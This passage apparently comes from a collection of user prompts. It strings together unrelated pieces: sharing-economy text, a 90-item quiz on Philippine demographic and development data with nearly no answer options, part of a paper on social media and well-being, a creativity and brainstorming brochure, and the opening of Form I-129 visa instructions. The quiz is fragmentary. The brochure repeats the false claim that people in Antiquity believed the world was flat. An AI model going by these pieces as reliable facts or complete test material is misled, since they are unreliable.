ways to rent. Co-living is a fantastic illustration of this because it is a technology-driven service that gives tenants and landlords more options.\nSimilarly, solutions such as lease guarantee or security deposit replacement are allowing millennials to move when and how they choose. Anyone with even a rudimentary understanding of business and economics understands that the sharing economy is the way of the future. The sharing economy is where supply meets demand. It all started when the internet changed the way people communicated. The Internet leveled the playing field and encouraged businesses to digitize their data. The way we gain information and communicate has altered because of search engines and social media.' -'. Based on the report of the Philippines National Demographic in 2017, what is the most common source of drinking water among both urban and rural household?\n2. What percentage of women in the Philippines are currently employed according to the report of the Philippines National Demographic in 2017?\n3. Which region has the least number of women exposed to mass media?\n4. Which of the following is the most popular form of mass media among women based on the report of Philippines National Demographic in 2017?\n5. The following are objectives of the Philippines National Demographic and Health survey except:\n\n6. What is the percentage of women age 15-49 years old have never been married?\n\n7. If Filipino women could choose the family size, what is the ideal number of children for a family based on the Philippines National Demographic report in 2017?\n\n8. Which region has the highest percentage of women who have completed secondary school or more based on Philippines National Demographic report in 2017?\n\n9. What is the most common occupational sector among women in the highest wealth quintile based on Philippines National Demographic report in 2017?\n\n10. What is the median age at first marriage among women age 25-49 years old based on Philippines National Demographic report in 2017??\na. 22.5\n\n11. Which of the following refers to the period of time after the birth of a child and before the resumption of sexual intercourse?\n\n12. Which of the following regions has the highest rate of Teenage childbearing based on the Philippines National Demographic in 2017?\n\n13. Which of the following refers to any birth fewer than or equal to the number of children a woman reported as her ideal number?\n\n14. Which of the following refers to a group of people who have been selected for a survey?\n\n15. What disability or condition in babies is caused by maternal alcohol use in the pre-natal period?\n16. It is an institution in the Philippines that safeguards the intangible heritage since 1995 because they ensured its transmission to the next generation of indigenous peoples who wish to learn skills from various culture bearers.\n17. How many ethnolinguistic groups in the Philippines.\n18. According to the Statistics Time as of 2023, among the 235 countries/territories in the world, the Philippines ranked 13th in population with an estimated population of \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n19. Increased access to economic opportunities for MSMEs, cooperatives, and Overseas Filipino (OFs) is crucial if more business activities are to be created to reduce inequality and poverty. What does MSMEs mean?\n20. One of the important parts of the Philippines Development Plan (PDP) is to ensure that all Filipinos, especially the poor and underserved, will have long, healthy, and productive lives; lifelong learning opportunities; and improved income-earning ability. What is this plan?\n21. Which of the following is not included as the vulnerable people in the society?\n22. The number of HIV cases detected per day rose from 4 in 2010 to 26 in 2016 and majority of the cases can be found among 15-34 years old and in highly urbanized areas in the Philippines, which of the following regions with the highest number of HIV cases?\n23. It is an act (RA 10687) ensures and develops a policy to rationalize tuition and school fees for higher education. \n24. In the Philippines, a \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ is a person below 18 years of age but is unable to fully care for himself from abuse neglect, cruelty, exploitation, or discrimination because of a physical or mental disability or condition.”\n25. There have been numerous programs to eliminate child labor, and all these initiatives were combined into one program called HELP ME which stands for H-health, E-education and training, L-livelihood, P-prevention, protection and prosecution and ME-\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n26. Republic Act 11148, also known as “Kalusugan at Nutrisyun ng Mag-Nanay Act”, aims to support the nutrition and health of both mother and child by providing funds for the said purpose. How many days will this program cover?\n27. In the acronym LGBTQIA, what does the letter I and A stand for?\n28. The old name of the government agency responsible for the policy-making, planning coordinating and monitoring of programs related to population is PopCom. This means \\_\n29. The Commission on Population used to be under the Department of Health. Now, it is under the National Economic Development Authority but with a new name. What is it?\n30. The Department of Health issued Administrative Order 2018-0014 which is the Strategic Framework and Guidelines for implementing FOURmula one + for health. These covers the four Strategic pillars namely Financing, Regulation, Service Delivery and \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n31. In the area of child health, which among the diseases is a common cause of death in young Filipino children?\n\n32. According to UNICEF survey conducted in the year 2018, which among the following is the leading cause of child illness.\n\n33. According to the United Nations Office for the Coordination of Humanitarian Affairs survey in 2018, what country has the world’s largest humanitarian crisis?\n\n34. In the realm of contraceptive knowledge and use, according to the survey, which among the contraceptive method is mostly known and commonly used?\n\n35. In a survey conducted among married women age 15-49 in the Philippines, which region has the highest prevalence of modern contraceptive use?\n\n36. Term which indicates that women were informed at the time they started the current episode of method use about the method’s side effects, about what to do if they experience side effects, about what to do if they experience side effects, and about other methods they could use.\n\n37. It pertains to the probability of dying between birth and the first birthday.\n\n38. It pertains to the probability of dying within the first month of life.\n\n39. Responsible Parenthood and Reproductive Health Act of 2012 is otherwise known as \\_\\_\\_\\_?\n\n40. According to the survey among married women, how many percent are using a method of contraception? \n\n41. Among the regions in our country, which has the highest percentage of caesarean section delivery?\n\n42. This is a program initiated by Population Commission with its goal to prevent teen pregnancy and reduce the prevalence of sexually transmitted infections using online and mobile platforms.\n\n43. Philippine HIV and AIDS Policy Act was one of the most critical policy interventions accomplished in 2018. This new act seeks to strengthen government response to the growing number of HIV/AIDS cases in the country. This is law is otherwise known as \\_\\_\\_\\_\\_\\_.\n\n44. On the governments’ effort to eliminate violence against women and children, which among the following laws has the highest recorded cases base latest survey conducted.\n\n45. Human Immunodeficiency Virus (HIV) in the Philippines according to the latest data shows that this disease is primarily transmitted through various means. Which among the choices has the highest rate?\n\n46. The first medium-term plan that seeks to lay a stronger foundation for more inclusive growth, a high-trust and resilient society and a globally competitive knowledge economy.\n\n47. Ambisyon 2040 is the collective long-term vision and aspirations of the Filipino people for themselves and for the country in the next \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n48. The third largest investing country worldwide.\n\n49. In 2016, the Permanent Court of Arbitration ruled in favor of the Philippines on the case of the West Philippine Sea.\n\n50. What is the life expectancy at birth in Asia by the year 2050?\n\n51. \\_\\_\\_\\_\\_\\_\\_\\_\\_ is the ability of machines and systems to acquire and apply knowledge and carry out intelligent behavior.\n\n52. The Philippines most populous regions are \\_\\_\\_\\_\\_.\n\n53. In 2020 Philippine’s population was 109.6 million. What is the Philippines’ population projected to be in 2045?\n\n54. How many languages are spoken in the Philippines.\n\n55. Ambisyon Natin 2040 represents the vision and aspirations of the Filipino people for a Matatag, Panatag na Buhay at \\_\\_\\_\\_.\n\n56. What region in the Philippines has the highest Gross Regional Domestic Product (GRDP)?\n\n57. The Philippine Development Plan target to reduce poverty incidence from 21.6% in 2015 to \\_\\_\\_\\_\\_ by 2022.\n\n58. What year has been declared as the hottest year on record with the global average temperature of 1.1 degree Celsius?\n\n59. The DOST has produced high-resolution flood hazard maps through their Project NOAH. What is the meaning of NOAH.\n\n60. Who is the president who approved and adopt the Ambisyon 2040 by signing Executive Order No. 5.\n\n61. What does the acronym CARP stand for?\n\n62. What does the acronym DILG stand for?\n\n63. Which pillar focuses on increasing the country’s potential economic growth?\n\n64. Which Philippine Development Plan pillar is committed to set the foundation of building a high-trust society?\n\n65. What is the first micro-satellite launched into space in 2016 by the Philippine government as part of the PHL-Microsat program?\n66. What program promotes greenspaces in cities?\n67. What center provides technical services and enabling environment for interdisciplinary and collaborative in various nanotechnology applications?\n\n68. What project was initiated to help manage the risks of natural hazards and disasters?\n\n69. Which facility combines fundamental and applied research to develop health diagnostics, therapeutics, DNA forensics, preventive products, and improved crop varieties?\n\n70. Which facility addresses the requirements for producing high-quality and globally acceptable drugs?\n\n71. Which law aims to institutionalize the development of an effective and sustainable forest management strategy based on the allocations of forestland uses?\n\n72. Which act streamlines standards, processes, and regulations for property rights, valuation, and taxation?\n\n73. What was established through a collaboration between the local government of Davao City and IBM Philippines, creating a dashboard allowing authorized government agencies to use analytics software?\n\n74. Which act seeks to promote demand-side management and incentivizes energy efficiency projects?\n\n75. Which policy aims to help achieve a safe, secure, competitive, dependable, integrated, environmentally sustainable, and people-oriented Philippine transportation system?\n\n76. It is recommended that infants be exclusively breastfed in the first \\_\\_\\_\\_\\_ months of their life.\n\n77. Most vulnerable transitional stage of infants to become undernourished as infants starts to need complementary feeding.\n\n78. What does the acronym NHIP stands for under the National Demographic and health survey means?\n\n79. In the measurement of violence, throwing something by a husband/partner to his wife/partner is a \\_\\_\\_\\_?\n\n80. \\_\\_\\_\\_% of women age 15-49 have heard of AIDS.\n\n81. Key findings in early initiation breastfeeding is \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n82. The percentage of newborn infants ever breastfed is generally high across all background characteristics.\n\n83. Women in rural are slightly more likely to hold discriminatory attitudes towards people living with HIV that women in urban areas.\n\n84. By region, women living in \\_\\_\\_\\_\\_\\_ are most likely to have attitudes justifying wife beating under atleast one specific circumstance.\n\n85. Among ever-married women who have experienced physical violence, the most common perpetrators of violence were \\_\\_\\_\\_\\_\\_\\_.\n\n86. The most aware region of Anti-Violence Barangay Protection Order from 2017 data is \\_\\_\\_\\_.\n\n87. Violence by women against their husband/partner because of their educational background is high in \\_\\_\\_\\_\\_\\_ category.\n88. According to table 14.2 of Women’s empowerment, person who decides how the wife’s cash earnings are used under the age 15-19 is \\_\\_\\_\\_.\n\n89. In women’s participation in decision making, the percentage of married women age 15-45 participating in women’s own health care is \\_\\_\\_\\_\\_\\_.\n\n90. A percentage of 98.2 manifest to never-married women who have never had sexual intercourse according to age background characteristics \\_\\_\\_\\_\\_\\_.' -'Next paragraph:\n\n(Respond with "Received" when it is received. Do not provide any other text.)\nOne of the relevant perspectives worth considering is that provided by social capital theory, which is adopted in this paper. Social capital theory has previously been used to study how social media usage affects psychological well-being (e.g., Bano et al., 2019). However, extant literature has so far presented only partial models of associations that, although statistically acceptable and contributing to the understanding of the scope of social networks, do not provide as comprehensive a vision of the phenomenon as that proposed within this paper. Furthermore, the contradictory views, suggesting both negative (e.g., Chotpitayasunondh and Douglas, 2016; Van Den Eijnden et al., 2016; Jiao et al., 2017; Whaite et al., 2018; Choi and Noh, 2019; Chatterjee, 2020) and positive impacts (Carlson et al., 2016; Chen and Li, 2017; Twenge and Campbell, 2019) of social media on psychological well-being, have not been adequately explored.\n\nGiven this research gap, this paper\'s main objective is to shed light on the effect of social media use on psychological well-being. As explained in detail in the next section, this paper explores the mediating effect of bonding and bridging social capital. To provide a broad view of the phenomenon, it also considers several variables highlighted in the literature as affecting the relationship between social media usage and psychological well-being, namely smartphone addiction, social isolation, and phubbing. The paper utilizes a quantitative study conducted in Mexico, comprising 940 social media users, and uses structural equation modeling (SEM) to test a set of research hypotheses.\n\nThis article provides several contributions. First, it adds to existing literature regarding the effect of social media use on psychological well-being and explores the contradictory indications provided by different approaches. Second, it proposes a conceptual model that integrates complementary perspectives on the direct and indirect effects of social media use. Third, it offers empirical evidence and robust statistical analysis that demonstrates that both positive and negative effects coexist, helping resolve the inconsistencies found so far in the literature. Finally, this paper provides insights on how to help reduce the potential negative effects of social media use, as it demonstrates that, through bridging and bonding social capital, social media usage positively impacts psychological well-being. Overall, the article offers valuable insights for academics, practitioners, and society in general.\n\nThe remainder of this paper is organized as follows. Section Literature Review presents a literature review focusing on the factors that explain the impact of social media usage on psychological well-being. Based on the literature review, a set of hypotheses are defined, resulting in the proposed conceptual model, which includes both the direct and indirect effects of social media usage on psychological well-being. Section Research Methodology explains the methodological procedures of the research, followed by the presentation and discussion of the study\'s results in section Results. Section Discussion is dedicated to the conclusions and includes implications, limitations, and suggestions for future research.\n\nLiterature Review\nPutnam (1995, p. 664–665) defined social capital as “features of social life – networks, norms, and trust – that enable participants to act together more effectively to pursue shared objectives.” Li and Chen (2014, p. 117) further explained that social capital encompasses “resources embedded in one\'s social network, which can be assessed and used for instrumental or expressive returns such as mutual support, reciprocity, and cooperation.”\n\nPutnam (1995, 2000) conceptualized social capital as comprising two dimensions, bridging and bonding, considering the different norms and networks in which they occur. Bridging social capital refers to the inclusive nature of social interaction and occurs when individuals from different origins establish connections through social networks. Hence, bridging social capital is typically provided by heterogeneous weak ties (Li and Chen, 2014). This dimension widens individual social horizons and perspectives and provides extended access to resources and information. Bonding social capital refers to the social and emotional support each individual receives from his or her social networks, particularly from close ties (e.g., family and friends).\n\nOverall, social capital is expected to be positively associated with psychological well-being (Bano et al., 2019). Indeed, Williams (2006) stressed that interaction generates affective connections, resulting in positive impacts, such as emotional support. The following sub-sections use the lens of social capital theory to explore further the relationship between the use of social media and psychological well-being.\n\nSocial Media Use, Social Capital, and Psychological Well-Being\nThe effects of social media usage on social capital have gained increasing scholarly attention, and recent studies have highlighted a positive relationship between social media use and social capital (Brown and Michinov, 2019; Tefertiller et al., 2020). Li and Chen (2014) hypothesized that the intensity of Facebook use by Chinese international students in the United States was positively related to social capital forms. A longitudinal survey based on the quota sampling approach illustrated the positive effects of social media use on the two social capital dimensions (Chen and Li, 2017). Abbas and Mesch (2018) argued that, as Facebook usage increases, it will also increase users\' social capital. Karikari et al. (2017) also found positive effects of social media use on social capital. Similarly, Pang (2018) studied Chinese students residing in Germany and found positive effects of social networking sites\' use on social capital, which, in turn, was positively associated with psychological well-being. Bano et al. (2019) analyzed the 266 students\' data and found positive effects of WhatsApp use on social capital forms and the positive effect of social capital on psychological well-being, emphasizing the role of social integration in mediating this positive effect.\n\nKim and Kim (2017) stressed the importance of having a heterogeneous network of contacts, which ultimately enhances the potential social capital. Overall, the manifest and social relations between people from close social circles (bonding social capital) and from distant social circles (bridging social capital) are strengthened when they promote communication, social support, and the sharing of interests, knowledge, and skills, which are shared with other members. This is linked to positive effects on interactions, such as acceptance, trust, and reciprocity, which are related to the individuals\' health and psychological well-being (Bekalu et al., 2019), including when social media helps to maintain social capital between social circles that exist outside of virtual communities (Ellison et al., 2007).\n\nGrounded on the above literature, this study proposes the following hypotheses:\n\nH1a: Social media use is positively associated with bonding social capital.\n\nH1b: Bonding social capital is positively associated with psychological well-being.\n\nH2a: Social media use is positively associated with bridging social capital.\n\nH2b: Bridging social capital is positively associated with psychological well-being.\n\nSocial Media Use, Social Isolation, and Psychological Well-Being\nSocial isolation is defined as “a deficit of personal relationships or being excluded from social networks” (Choi and Noh, 2019, p. 4). The state that occurs when an individual lacks true engagement with others, a sense of social belonging, and a satisfying relationship is related to increased mortality and morbidity (Primack et al., 2017). Those who experience social isolation are deprived of social relationships and lack contact with others or involvement in social activities (Schinka et al., 2012). Social media usage has been associated with anxiety, loneliness, and depression (Dhir et al., 2018; Reer et al., 2019), and social isolation (Van Den Eijnden et al., 2016; Whaite et al., 2018). However, some recent studies have argued that social media use decreases social isolation (Primack et al., 2017; Meshi et al., 2020). Indeed, the increased use of social media platforms such as Facebook, WhatsApp, Instagram, and Twitter, among others, may provide opportunities for decreasing social isolation. For instance, the improved interpersonal connectivity achieved via videos and images on social media helps users evidence intimacy, attenuating social isolation (Whaite et al., 2018).\n\nChappell and Badger (1989) stated that social isolation leads to decreased psychological well-being, while Choi and Noh (2019) concluded that greater social isolation is linked to increased suicide risk. Schinka et al. (2012) further argued that, when individuals experience social isolation from siblings, friends, family, or society, their psychological well-being tends to decrease. Thus, based on the literature cited above, this study proposes the following hypotheses:\n\nH3a: Social media use is significantly associated with social isolation.\n\nH3b: Social isolation is negatively associated with psychological well-being.\n\nSocial Media Use, Smartphone Addiction, Phubbing, and Psychological Well-Being\nSmartphone addiction refers to “an individuals\' excessive use of a smartphone and its negative effects on his/her life as a result of his/her inability to control his behavior” (Gökçearslan et al., 2018, p. 48). Regardless of its form, smartphone addiction results in social, medical, and psychological harm to people by limiting their ability to make their own choices (Chotpitayasunondh and Douglas, 2016). The rapid advancement of information and communication technologies has led to the concept of social media, e-games, and also to smartphone addiction (Chatterjee, 2020). The excessive use of smartphones for social media use, entertainment (watching videos, listening to music), and playing e-games is more common amongst people addicted to smartphones (Jeong et al., 2016). In fact, previous studies have evidenced the relationship between social use and smartphone addiction (Salehan and Negahban, 2013; Jeong et al., 2016; Swar and Hameed, 2017). In line with this, the following hypotheses are proposed:\n\nH4a: Social media use is positively associated with smartphone addiction.\n\nH4b: Smartphone addiction is negatively associated with psychological well-being.\n\nWhile smartphones are bringing individuals closer, they are also, to some extent, pulling people apart (Tonacci et al., 2019). For instance, they can lead to individuals ignoring others with whom they have close ties or physical interactions; this situation normally occurs due to extreme smartphone use (i.e., at the dinner table, in meetings, at get-togethers and parties, and in other daily activities). This act of ignoring others is called phubbing and is considered a common phenomenon in communication activities (Guazzini et al., 2019; Chatterjee, 2020). Phubbing is also referred to as an act of snubbing others (Chatterjee, 2020). This term was initially used in May 2012 by an Australian advertising agency to describe the “growing phenomenon of individuals ignoring their families and friends who were called phubbee (a person who is a recipients of phubbing behavior) victim of phubber (a person who start phubbing her or his companion)” (Chotpitayasunondh and Douglas, 2018). Smartphone addiction has been found to be a determinant of phubbing (Kim et al., 2018). Other recent studies have also evidenced the association between smartphones and phubbing (Chotpitayasunondh and Douglas, 2016; Guazzini et al., 2019; Tonacci et al., 2019; Chatterjee, 2020). Vallespín et al. (2017) argued that phubbing behavior has a negative influence on psychological well-being and satisfaction. Furthermore, smartphone addiction is considered responsible for the development of new technologies. It may also negatively influence individual\'s psychological proximity (Chatterjee, 2020). Therefore, based on the above discussion and calls for the association between phubbing and psychological well-being to be further explored, this study proposes the following hypotheses:\n\nH5: Smartphone addiction is positively associated with phubbing.\n\nH6: Phubbing is negatively associated with psychological well-being.\n\nIndirect Relationship Between Social Media Use and Psychological Well-Being\nBeyond the direct hypotheses proposed above, this study investigates the indirect effects of social media use on psychological well-being mediated by social capital forms, social isolation, and phubbing. As described above, most prior studies have focused on the direct influence of social media use on social capital forms, social isolation, smartphone addiction, and phubbing, as well as the direct impact of social capital forms, social isolation, smartphone addiction, and phubbing on psychological well-being. Very few studies, however, have focused on and evidenced the mediating role of social capital forms, social isolation, smartphone addiction, and phubbing derived from social media use in improving psychological well-being (Chen and Li, 2017; Pang, 2018; Bano et al., 2019; Choi and Noh, 2019). Moreover, little is known about smartphone addiction\'s mediating role between social media use and psychological well-being. Therefore, this study aims to fill this gap in the existing literature by investigating the mediation of social capital forms, social isolation, and smartphone addiction. Further, examining the mediating influence will contribute to a more comprehensive understanding of social media use on psychological well-being via the mediating associations of smartphone addiction and psychological factors. Therefore, based on the above, we propose the following hypotheses (the conceptual model is presented in Figure 1):\n\nH7: (a) Bonding social capital; (b) bridging social capital; (c) social isolation; and (d) smartphone addiction mediate the relationship between social media use and psychological well-being.\n\nFigure 1\nwww.frontiersin.org\nFIGURE 1. Conceptual model.\n\nResearch Methodology\nSample Procedure and Online Survey\nThis study randomly selected students from universities in Mexico. We chose University students for the following reasons. First, students are considered the most appropriate sample for e-commerce studies, particularly in the social media context (Oghazi et al., 2018; Shi et al., 2018). Second, University students are considered to be frequent users and addicted to smartphones (Mou et al., 2017; Stouthuysen et al., 2018). Third, this study ensured that respondents were experienced, well-educated, and possessed sufficient knowledge of the drawbacks of social media and the extreme use of smartphones. A total sample size of 940 University students was ultimately achieved from the 1,500 students contacted, using a convenience random sampling approach, due both to the COVID-19 pandemic and budget and time constraints. Additionally, in order to test the model, a quantitative empirical study was conducted, using an online survey method to collect data. This study used a web-based survey distributed via social media platforms for two reasons: the COVID-19 pandemic; and to reach a large number of respondents (Qalati et al., 2021). Furthermore, online surveys are considered a powerful and authenticated tool for new research (Fan et al., 2021), while also representing a fast, simple, and less costly approach to collecting data (Dutot and Bergeron, 2016).' -'Next content \n\nTHE GREAT CREATORS Great creators are people who have dedicated part or all of their life\nto a personal life’s work that is particularly original and innovative.\nPablo Ruiz y Picasso was passionate about new aesthetic forms throughout his life, Albert Einstein lived for the theory of relativity, Chopin, Berlioz and Beethoven dedicated their lives to music. The American choreographer, Twyla Tharp continuously devised new movements and Balzac attempted to capture the human condition.\nThese exceptional personalities all share a number of common characteristics:\n●Density of the creative effort ●Incredible curiosity\n●A certain obsession\n●A monomaniac tendency\n●A durable commitment\n●A sense of urgency\n●Extraordinary courage\n●The need to surpass oneself\n●And of course a certain amount of talent\nThese creative personalities can serve as examples and sources of inspiration. Through their personal history, their approach to work and their creations, we can learn more about ways to implement our creativity on a daily basis.\nRecent research postulates that innate talent is less of a determining factor than their capacity to regularly question their own habits, practices and successes.\nIllustration by Olivier Massa © Yellow Ideas\n 8\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\nSERENDIPITY\nDiscoveries and inventions are not always the exclusive outcome of intelligence and human creativity. Numerous products, technical procedures and scientific principles have been discovered by chance or by error. This phenomenon of the creative accident is known as\n« serendipity »\nor the art of making fortuitous, unexpected and useful discoveries,\nby accident or by error.\nHere are some well-known examples : the principle of making champagne (Dom Pérignon), pasteurisation (L. Pasteur), penicillin (A. Fleming), X-rays (W. Röntgen), the vulcanisation of rubber (Ch. Goodyear), post-its (A. Fry at 3M), as well as Coca-Cola, cornflakes, Zyban and Viagra.\nMuch like Christopher Columbus, who discovered America while looking for the western route to the Indies, these products were discovered quite unexpectedly. They are serendipitous accidents.\nFor managers, the phenomenon of serendipity is interesting for a host of reasons.\n1. First of all, it reminds us that we are surrounded by opportunities that we are unaware of. And it is not as if they don’t exist, simply because we don’t see them...\n2. Errors and unforeseen circumstances can be important sources of progress. They allow us to question habits, certainties and the usual norms and standards.\n3. Innovation can happen anywhere, and anyone within the company can be a source of change.\n4. Trying to achieve the perfect plan or a voluntary optimisation of all the management parameters is an illusion. Reality always takes the upper hand on managerial desires and is able to introduce incredible bifurcations in a market or industry. Serendipity is a random phenomenon. It is not subjected to human desires. It has given rise to hundreds of techniques, products and ideas without which life would be nothing like it is today!\nThe phenomenon of serendipity invites us to be surprised.\n 9\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nPARADIGM\nA paradigm is the ensemble of knowledge, values, certainties, beliefs, practices, habits and taboos\nof a human community with regard to a specific field at a given moment during its history.\nThis ensemble, which makes up a school of thought, a mental model, is naturally accepted, even unconsciously integrated, and is never questioned.\nIn the past, those people who chose to question a paradigm were often considered to be heretics. Often to be creative is to play with a paradigm, to question it.\nSome examples of paradigms:\nIn Antiquity the world was considered to be flat.\nBefore Galileo, Earth was the centre of the Universe.\nIn the nineteenth century, science was « the » source of progress.\nUntil a few years ago, washing powder had to really wash whiter than white.\nCars have wheels.\nBefore British inventor James Dyson vacuum cleaner “obviously” had to have a bag.\n 10\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nTHE ART OF CULTIVATING ONE’S CURIOSITY\nWho was the idiot who said that curiosity killed the cat ? If there is one crucial creative quality, it has to be curiosity. Any person who is fuelled by a desire to understand and learn, as indicated by the etymology of the Latin word curiosus, which signifies care, desire to know, is curious.\nAlbert Einstein proudly declared: "I do not have any particular talents. I am merely passionately curious." In order to valorise our creative potential, we should not hesitate to cultivate the passionate curiosity of Columbus, Marie Curie, Louis Pasteur or even Picasso. Creative people like to look elsewhere, will search deeper, and will question certainties.\nCreative people will not accept half-answers or put-offs. A creative mind will continue to look for light, where others are happy to settle for shadows. There can be no passion for science, no quest for knowledge, no desire of discovery without burning curiosity.\nAdults are often surprised, sometimes even irritated by a child’s curiosity. It is true that children are indefatigable explorers: don’t they naturally look towards the neighbour’s garden ? Don\'t they open the toy boxes of their brothers and sisters and then walk away after having found what they were looking for ? Children are intrigued by the unknown. They capture it with a magic toy: the interrogative pronoun why.\nAdults on the other hand face the challenge of preserving the curiosity of the child that they have deep inside. We are all invested with a natural curiosity, which pushes us to research the why and how of things. So let\'s accept this and turn it into a personal asset.\n 11\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO FEED YOUR CURIOSITY?\n1. Rather paradoxically, a curious mind usually is encouraged by one’s feet! Move, get out of your house, and go take a look elsewhere. Go see what is happening in other fields, disciplines, organisations and countries, what people are thinking there. Curiosity is, above all, a passion for what is elsewhere!\n2. Ask and re-ask questions as long as the answers are not satisfactory or clearly demonstrated! Do not hesitate to wonder about the why of the why!\n3. Be enraptured about things that you did not know yet - and that you are yet to discover!\n4. Do things that you have never done before! Experiment, discover, play. Connect with reality!\n5. Child specialists affirm that one of the reasons why certain children display a lack of curiosity is due to the lack of curiosity of their parents. If a child cannot discuss its encounters and discoveries with its parents, its enthusiasm will rapidly wane. So, surround yourself with friends and colleagues who are just as curious as you are, and will share your questions and your passions. Nothing will harm a person\'s curiosity more than people who are not curious.\n6. Learning a foreign language is a natural source of amazement: the discovery of an unknown vocabulary and grammar will naturally lead to a new view of one’s own language and culture. Those who have the opportunity – and above all, the enormous courage and perseverance – to learn Chinese or Japanese will tell you how this learning process enriched them as regards their understanding of their own way of thinking. But there is no need to learn Cantonese or Mandarin to experience all this: a few English, Spanish or German lessons will already awaken your curiosity and make you ask some pertinent questions.\n 12\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\n10FUNDAMENTAL CREATIVE ATTITUDES To practice freewheeling:\nTo suspend critical judgment:\nTo have a “How can I?” attitude:\nTo separate divergence and convergence: To use your imagination:\nTo be actively curious:\nTo challenge the perception:\nTo take constrains as a chance:\nTo imagine the impossible:\nTo be open for the future:\n 13\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nTHE EFFICIENCY OF THE BRAINSTORMING!\nDuring a creative meeting, one should try to avoid certain givens. The saying goes : « It goes\nwithout saying, but is goes even better when you say it ». So let’s say it!\nTHE 5 RULES OF BRAINSTORMING:\n\uf06c\n1. 2. 3. 4. 5.\nTo go for quantity of ideas : quantity breeds quality\nTo suspend the critical judgment.\nTo hitchhike on each-others ideas.\nTo be audacious and to use fantasy and imagination\nTo separate divergence and convergence, and to save enough time for the convergence.\nAvoid questioning the method proposed by the person running the meeting. He or she has chosen an approach; let him or her roll out the entire process. You may choose to go see him or her after the meeting to discuss methods.\n\uf06c Avoid asking questions that are unrelated to the subject of the meeting, do not initiate a polemic, do not launch into subjects that should be discussed during a different meeting.\n\uf06c Try to avoid interrupting the brainstorming process, regardless of the pretext. Ideas should be generated continuously, uninterruptedly.\n\uf06c Try to avoid judging your own ideas or those of others. At this stage, all ideas are acceptable. The assessment, selection and decision will come at a later stage.\n 14\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO BECOME A\nBRILLIANT BRAINSTORMER?\nIt is relatively easy to take part in a brainstorm session and to contribute to its successful outcome. All you need to do is respect a number of essential points. Do not hesitate to share this document with participants in the next brainstorm session that you are setting up.\n1. Be 100% available, so that you can fully concentrate on the proposed creative thinking process. Switch off your mobile phone, blackberry and laptop. They should remain switched off for the duration of the meeting.\n2. Contribute unreservedly to the production of ideas. All you need to do is step in and express your ideas – every single one of them – regarding the question at hand in the most spontaneous manner possible.\n3. Express your ideas with as specific and detailed as possible. General, generic and vague ideas are public enemy no.1 when it comes to a brainstorm. The nuances and the details will help spice up the new ideas and make them more meaningful.\n4. Abstain from any form of judgment, criticism and do not comment on ideas for the duration of the meeting. Also try to avoid any form of auto-censorship! Express and write down every single idea that crops up.\n5. All that matters here is the generation of ideas. The quantity of ideas assures the quality of the ideas ! Do not hesitate to use a yellow card in case of criticism!\n6. Use the ideas of your colleagues as a launching pad. One idea will inspire another, a proposal that may seem crazy at first glance may lead to a rather promising solution. Look at an idea from every possible angle.\n7. Be audacious, imaginative, use your fantasy. Push the boundaries, go beyond your reference frame, and do away with any pre-established ideas. Go on, get on with it. A creative brainstorm is designed to provide original, unexpected, surprising solutions. Your imagination is the limit.\n8. Explore all the possible routes, without exception.\n 15\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n\nHOW TO BE AN\nEFFICIENT FACILITATOR?\nFacilitating a brainstorm session is truly a specific competence. It requires both rigour and flexibility, authority and empathy, creativity and a method.\n1. Carefully prepare the creative meeting with the project manager. Clarify three crucial questions:\n- What is the current situation?\n- What is the desired situation?\n- What are the obstacles preventing everyone from achieving the desired situation?\n2. Establish a precise agenda for the meeting in function of the time available.\nAssure a good balance between the divergent phase – the production of ideas - and the convergent phase – the assessment of ideas and the elaboration of solutions.\n3. Carefully choose the participants, they and they alone will provide the creative ideas. Make sure that there is a good balance between specialists, generalists and ‘candid’ personalities.\n4. Clearly explain the goal, the process and the agenda of the creative meeting.\nFirmly insist on the importance of the operational rules, and the fact that they should be respected throughout. Especially the « absence of a critical judgment » during the divergent phase is important.\n5. Only the facilitator is in charge of facilitating the meeting. Thus you cannot propose any ideas or suggestions – not a single one – during the meeting. Concentrate exclusively on helping your group, and make sure that everybody is participating actively.\n6. Read ideas out loud so that participants can respond to the ideas of their colleagues. Above all, do not comment or judge the quality or the originality of the ideas yourself.\n7. Ask participants to explore new routes by using creativity techniques such as the juice Press, the famous people technique, the lettering technique, the exotic animals technique, the versus technique or the crea-trends technique.\n8. Keep an eye on your watch and follow the agenda flexibly.\n 16\n© Mark Raison - www.yellowideas.com - mark.raison@yellowideas.com - tel : +32 497 531 583\n4 STAGES OF A BRAI NSTORMING\n1. CHALLENGE YOUR QUESTION\n2. LIBERATE ALL IDEAS\n3. EXPLORE NEW WORLDS \n4. SELECT AUDACIOUSLY' -'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 